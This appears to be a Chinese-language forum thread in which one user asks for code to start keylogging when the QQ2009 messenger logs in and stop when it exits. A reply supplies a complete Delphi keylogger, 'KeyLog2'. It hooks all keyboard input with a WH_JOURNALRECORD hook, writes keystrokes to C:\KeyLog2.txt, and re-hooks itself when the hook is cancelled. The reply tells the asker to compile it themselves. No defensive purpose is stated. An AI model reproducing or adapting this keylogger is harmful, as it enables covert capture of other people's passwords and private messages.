我的意思是比如:如果QQ2009登录就开始记录,如果QQ2009退出就结束记录,
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);是建立键盘记录
UnhookWindowsHookEx(LogHook);是卸载键盘记录
LogHook := 0;把记录的值赋值为0
控制代码谁能写出来??
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);是建立键盘记录
UnhookWindowsHookEx(LogHook);是卸载键盘记录
LogHook := 0;把记录的值赋值为0
控制代码谁能写出来??
这是什么钩子?
program KeyLog2;uses Windows, Messages;var JournalRecordHook: HHOOK; // 记录钩子回调函数
function JournalRecordProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
Kbs: TKeyboardState;
HFile: THandle;
WChar: array[0..1] of Char;
WSize: DWORD;
begin
// lParam指向消息结构, 并且, 是键盘按下消息
if (nCode = HC_ACTION) and (PEventMsg(lParam).message = WM_KEYDOWN) then
begin
// 取键盘状态
GetKeyboardState(Kbs); // 转换成字符
if ToAscii(PEventMsg(lParam).paramL, PEventMsg(lparam).paramH, Kbs, WChar, 0) = 1 then
begin
// 打开文件
HFile := CreateFile('C:\KeyLog2.txt', GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // 添加字符
SetFilePointer(HFile, 0, nil, FILE_END);
WriteFile(HFile, WChar[0] , 1, WSize, nil); // 回车补#10
if (WChar[0] = #13) then
begin
WChar[0] := #10;
WriteFile(HFile, WChar[0] , 1, WSize, nil);
end; // 关闭保存
CloseHandle(HFile);
end;
end; // 传给下一个钩子处理, 并且返回它的返回值
Result := CallNextHookEx(JournalRecordHook, nCode, wParam, lParam);
end; // ~~~~~ 程序入口 ~~~~~
var
Msg: TMsg;
begin
// 安装钩子
JournalRecordHook := SetWindowsHookEx(WH_JOURNALRECORD, @JournalRecordProc, HInstance, 0); // 消息循环
while GetMessage(Msg, 0, 0, 0) do
if (Msg.message = WM_CANCELJOURNAL) then // 此时需要重新挂钩
begin
JournalRecordHook :=
SetWindowsHookEx(WH_JOURNALRECORD, @JournalRecordProc, HInstance, 0);
end; // 卸载钩子
UnHookWindowsHookEx(JournalRecordHook); end.自己编译吧